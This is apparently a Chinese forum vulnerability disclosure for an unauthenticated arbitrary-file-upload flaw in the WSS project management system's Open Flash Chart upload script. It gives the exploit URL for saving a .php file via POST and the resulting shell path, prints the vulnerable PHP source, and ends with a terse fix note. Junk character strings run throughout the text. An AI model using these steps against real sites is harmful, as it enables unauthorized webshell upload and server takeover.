WSS项目管理系统Post get shell

admin

POST 数据漏洞文件执行任意后缀文件保存
漏洞文件/chart/php-ofc-library/ofc_upload_image.php

4 Y0 _- N0 u- `! j利用：
/chart/php-ofc-library/ofc_upload_image.php?name=hfy.php hfy.php 文件名

Post任意数据
保存位置http://localhost/chart/tmp-upload-images/hfy.php
' Z/ \: c4 f$ P% I  E* O' p, K

5 I( Q3 k5 G0 f9 v! z! ], N最新版wss漏洞文件，即使是收费版本也有的，在新浪商店部署的demo~
, z! V. |+ }! r' \7 @# v6 u- X
<?php

$ V7 x, }' Y: B6 m! U# T# d//
7 a; \: u# g$ s; d5 j// In Open Flash Chart -> save_image debug mode, you
2 c7 L. C. _. }- J  a// will see the 'echo' text in a new window.
//

/*
. ]/ a4 V' G# w  h- h
print_r( $_GET );
* F* @$ V$ Y  Qprint_r( $_POST );
print_r( $_FILES );
# X0 x6 C7 G' j# o% l- `
print_r( $GLOBALS );
. w8 W) U$ E% c4 D, bprint_r( $GLOBALS["HTTP_RAW_POST_DATA"] );

5 B, T) V4 z2 z- Z) R# e*/
2 m) w' o1 R2 a: k// default path for the image to be stored //
+ f/ F5 {& e" a0 y+ c1 l# {: n$default_path = '../tmp-upload-images/';
4 j  p" A) t* [+ d
( J* ?$ ]7 m4 ?0 K& S  `0 @4 O% b5 uif (!file_exists($default_path)) mkdir($default_path, 0777, true);
4 H4 I$ h: |% n
% Q9 X- Q  B5 S2 M" q// full path to the saved image including filename //
# @, J0 M" B% h$ ^) ]3 N, k5 U$destination = $default_path . basename( $_GET[ 'name' ] );

; I1 h# N: Q, d& v: vecho 'Saving your image to: '. $destination;
  ]% m7 @4 F& m+ U( w) h) @" _// print_r( $_POST );
// print_r( $_SERVER );
// echo $HTTP_RAW_POST_DATA;
2 X+ u. i. l7 Z# U8 ~. }
//
' s5 ~1 Y. E1 u( {% F7 E// POST data is usually string data, but we are passing a RAW .png
// so PHP is a bit confused and $_POST is empty. But it has saved
// the raw bits into $HTTP_RAW_POST_DATA
. `) _! [4 G2 z# o8 \2 `//
0 w1 F) @9 n* n. F, k, z
$jfh = fopen($destination, 'w') or die("can't open file");
; t& P* s. T9 F& t. W, @5 ~5 m  Afwrite($jfh, $HTTP_RAW_POST_DATA);
fclose($jfh);
1 a) x, O! r, Z& X) p; y: Y" ]: I
  ~5 V$ q( P7 Y( u$ H7 g8 B//
// LOOK:
//
; \/ \! D7 _2 Xexit();
//
' T! ]4 Q0 m0 N// PHP5:
. H  F; k/ H* R7 A! Y  w0 E//

/ `5 G4 o& F: C. y" B" n9 [
! V! n9 }* @# K3 ^; G// default path for the image to be stored //
$default_path = 'tmp-upload-images/';
- u1 {0 x2 B- T8 S* T
if (!file_exists($default_path)) mkdir($default_path, 0777, true);

// full path to the saved image including filename //
$destination = $default_path . basename( $_FILES[ 'Filedata' ][ 'name' ] );
% b0 {1 U+ R' g% ^5 b- ^
) x" j/ t! d8 J6 n. K: H// move the image into the specified directory //
4 p$ @& L" ?; E+ p% ?% _if (move_uploaded_file($_FILES[ 'Filedata' ][ 'tmp_name' ], $destination)) {
& f! c- G6 ]2 |3 a/ o    echo "The file " . basename( $_FILES[ 'Filedata' ][ 'name' ] ) . " has been uploaded;";
} else {
' K+ F6 Y! l4 }! v    echo "FILE UPLOAD FAILED";
) R  u4 A- k# I! o- ?9 \; i}


2 ?1 Y( }9 Z; X4 ]$ S/ M?>
. t. D7 a" g1 _2 H- d6 }$ _$ o2 U/ B
0 ^6 O' \. f4 r( C3 t% }5 v
6 f+ L* l) K1 n& a8 o; x8 C0 m
3 g& A: u( u2 V


' r8 P& l9 o- W% N修复方案：
. r1 u* I9 `# T5 ~5 [( r; c5 x这个漏洞文件就是个杯具，怎么破，加权限验证，后缀等验证~，自己搞



' ?/ k: R- o5 e$ ^; {
( S7 g( y) s. u: N$ k